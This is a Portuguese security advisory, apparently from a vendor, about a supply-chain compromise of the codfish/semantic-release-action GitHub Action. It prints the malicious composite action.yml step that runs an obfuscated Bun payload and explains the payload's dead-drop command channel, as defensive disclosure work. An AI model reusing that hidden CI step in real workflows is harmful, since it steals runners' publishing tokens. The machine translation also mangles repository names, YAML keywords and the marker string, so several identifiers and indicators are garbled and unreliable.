A 24 de junho de 2026, o bacalhau/ação-de-lançamento-semântico O GitHub Action foi comprometido através de um ataque de «commit» fraudulento. Um atacante enviou à força dois «commits» maliciosos para o repositório e redirecionou dezasseis etiquetas para esses «commits», incluindo as etiquetas de versão principal flutuantes v2, v3, v4, e v5. Qualquer fluxo de trabalho que faça referência à ação através de uma dessas etiquetas irá recuperar e executar o código do atacante na sua próxima execução de CI.
Esta ação tem sido a forma padrão de integrar o semantic-release no GitHub Actions desde 2019 e conta com mais de 100 estrelas no GitHub. Os fluxos de trabalho que a utilizam para lançamentos automatizados têm quase sempre um GITHUB_TOKEN e, frequentemente, um NPM_TOKEN com acesso de publicação, que é exatamente o tipo de acesso que um invasor pretende obter.
Como as etiquetas foram deturpadas
As etiquetas do Git não estão protegidas por predefinição. Qualquer pessoa com acesso de envio a um repositório pode forçar uma etiqueta a apontar para um commit diferente, e o GitHub Actions resolve uma referência a uma etiqueta no momento em que um fluxo de trabalho é executado. A alteração retroativa de uma etiqueta reescreve todas as execuções futuras que a referenciem, sem qualquer aviso à pessoa que criou o fluxo de trabalho.
O atacante aproveitou-se disso contra bacalhau/ação-de-lançamento-semântico em duas fases. O primeiro commit malicioso incluiu quinze tags: v2.2.1, toda a linha v3 (v3, v3.0.0 através de v3.5.0), toda a linha v4 (v4, v4.0.0, v4.0.1), e toda a linha v5 (v5, v5.0.0). Um segundo commit é um descendente direto do primeiro e baseou-se no v2 tag. Ambos os commits apresentam um código idêntico ao nível do byte index.js carga útil, confirmada por hash.
Nenhuma destas alterações é um antepassado do repositório principal filial. Foram acolhidos como órfãos e, em seguida, disfarçados para evitar suspeitas numa rápida git log resumo. O primeiro commit reutiliza a identidade do autor, a data e a mensagem de um commit real de 9 de novembro de 2023:
commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date: Thu Nov 9 16:49:48 2023 +0000
Merge pull request #195 from codfish/force-installEsses metadados são reais, extraídos de uma fusão legítima no histórico do projeto. No entanto, o conteúdo do ficheiro foi substituído pela carga maliciosa.
O que mudou em action.yml
bacalhau/ação-de-lançamento-semântico inicialmente era executada como uma ação baseada no Docker, criando um container do repositório Dockerfile e invocando entrypoint.js. As alterações maliciosas substituem action.yml em vez disso, com uma ação composta:
runs:
using: composite
steps:
- uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
with:
branches: "${{ inputs.branches }}"
# ...remaining inputs passed through unchanged
- uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
if: always()
- name: Cleanup Action
if: always()
shell: bash
run: bun run $GITHUB_ACTION_PATH/index.jsO primeiro passo continua a recorrer ao real, ao atual bacalhau/ação-de-lançamento-semântico, associado a um commit limpo, para que a ação continue a funcionar normalmente e a execução do fluxo de trabalho pareça ter sido bem-sucedida. Os dois passos seguintes são executados com se: sempre(), pelo que são executados independentemente de a etapa legítima ter sucesso, falhar ou ser ignorada. A segunda etapa recupera forno-sh/configuração-pão, uma ação de um terceiro, real e sem qualquer outra relação com o assunto, com o único objetivo de instalar o runtime do Bun no executor de CI. O terceiro passo executa a carga útil, index.js, com corrida do pão.
O original do repositório Dockerfile, entrypoint.js, e entrypoint.spec.js ainda se encontram na árvore nesta versão. Simplesmente já não são invocadas, uma vez que uma ação composta as ignora por completo. Deixar os ficheiros antigos no lugar é uma forma de minimizar as diferenças. Quem der uma vista de olhos à lista de ficheiros vê o conteúdo habitual da ação e não nota nada que falte de forma óbvia.
O payload
O injetado index.js consiste em 781 580 bytes de JavaScript ofuscado, estruturado como uma matriz de cadeias de caracteres com nomes de variáveis codificados em hexadecimal, o estilo de saída típico de um ofuscador de JavaScript comercial:
const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...Escondida no corpo ofuscado está a cadeia de caracteres o-tempo-lindo-e-suave, muito semelhante a As Belas Areias do Tempo e com apenas uma letra trocada. Essa sequência identifica um dos canais de entrega secreta utilizados pelo kit de ferramentas de roubo de credenciais Miasma, que foi divulgado publicamente a 10 de junho de 2026. O design do Miasma evita a utilização de um servidor C2 tradicional. Em vez de contactar a infraestrutura do atacante, o malware pesquisa periodicamente a API pública de pesquisa de commits do GitHub à procura dessa sequência de caracteres. Quando encontra um commit correspondente, trata a carga útil anexada como um comando assinado e executa-a através de eval(). Isso permite ao operador executar código remoto em tempo real em todos os runners infetados, sem ter de criar ou manter uma infraestrutura própria e sem gerar o tráfego de rede de saída que o monitorização de tráfego de saída costuma detetar.
Ligação à campanha «Miasma»
O mesmo As Belas Areias do Tempo O marcador já aparece em Atividades da campanha «Miasma» contra pacotes npm na pasta @redhat-cloud-services âmbito, e em vários outros repositórios do GitHub comprometidos, associados à mesma fuga de informação relacionada com esse conjunto de ferramentas. Quando uma estrutura de roubo de credenciais como esta se torna pública, tende a espalhar-se rapidamente, uma vez que qualquer operador pode executá-la sem ter de criar as suas próprias ferramentas. bacalhau/ação-de-lançamento-semântico segue esse padrão, mais um exemplo de como o mesmo conjunto de ferramentas chega a um novo repositório.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se ainda não é Aikido , pode criar uma conta e ligar os seus repositórios. A nossa proteção contra malware está incluída no plano gratuito, sem necessidade de cartão de crédito.
Para uma cobertura mais abrangente em toda a sua equipa, a Proteção de Dispositivos Aikido oferece-lhe visibilidade e controlo sobre os pacotes de software instalados nos dispositivos da sua equipa. Abrange extensões de navegador, bibliotecas de código, plug-ins de IDE e dependências de compilação, tudo num único local. Impedir o malware antes que seja instalado.
Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando os comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.
Indicadores de comprometimento
Alterações maliciosas
5792aba0e2180b9b80b77644370a6889d5817456(etiquetasv2.2.1,v3,v3.0.0através dev3.5.0,v4,v4.0.0,v4.0.1,v5,v5.0.0)bcb6b1d409144318e8fad2171d6fe06d02299d1a(etiquetav2)
Hash da carga útil
index.js (ambos os commits maliciosos): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015
Outros indicadores
- Sequência de caracteres do marcador de ponto de entrega secreta:
o-tempo-lindo-e-suave - O tempo de execução do Bun foi obtido através de
oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
Etiquetas afetadas
bacalhau/ação-de-lançamento-semântico@v2codfish/semantic-release-action@v2.2.1bacalhau/ação-de-lançamento-semântico@v3através dev3.5.0bacalhau/ação-de-lançamento-semântico@v4,v4.0.0,v4.0.1bacalhau/ação-de-lançamento-semântico@v5,v5.0.0
Confirmado como limpo
codfish/semantic-release-action@v1.0.0através dev1.10.0codfish/semantic-release-action@v2.0.0

